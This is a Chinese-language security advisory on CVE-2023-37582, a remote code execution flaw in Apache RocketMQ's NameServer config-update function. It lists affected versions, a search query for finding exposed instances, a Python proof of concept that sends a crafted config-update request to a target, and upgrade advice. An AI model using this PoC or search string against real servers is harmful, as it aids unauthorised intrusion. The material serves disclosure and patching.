登录 白背景

Apache RocketMQ 远程代码执行漏洞 CVE-2023-37582

漏洞描述

此漏洞是由于 CVE-2023-33246 补丁未修复完全,当 RocketMQ 的NameServer 组件暴露在外网,且缺乏有效的身份认证时,攻击者可以利用更新配置功能,以 RocketMQ 运行的系统用户身份执行任意命令。

漏洞影响

RocketMQ < 4.9.7
RocketMQ < 5.1.2

网络测绘

title="RocketMQ"

漏洞复现

poc:

import socket
import binascii
 
client = socket.socket()
client.settimeout(5)
 
client.connect((target_ip,target_port))
## make payload
json = '{"code":318,"extFields":{"test":"RockedtMQ"},"flag":0,"language":"JAVA","opaque":266,"serializeTypeCurrentRPC":"JSON","version":433}'.encode('utf-8')
 
body=('Thanks DawnT0wn').encode('utf-8')
json_lens = int(len(binascii.hexlify(json).decode('utf-8'))/2)
head1 = '00000000'+str(hex(json_lens))[2:]
all_lens = int(4+len(binascii.hexlify(body).decode('utf-8'))/2+json_lens)
head2 = '00000000'+str(hex(all_lens))[2:]
data = head2[-8:]+head1[-8:]+binascii.hexlify(json).decode('utf-8')+binascii.hexlify(body).decode('utf-8')
## send
client.send(bytes.fromhex(data))
data_recv = client.recv(1024)

漏洞修复

目前官方已发布安全版本,建议受影响用户升级至:

  • RocketMQ 5.x >= 5.1.2
  • RocketMQ 4.x >= 4.9.7

官方补丁下载地址:https://rocketmq.apache.org/download/,同时建议将 NameServer、Broker 等组件部署在内网,并增加权限认证。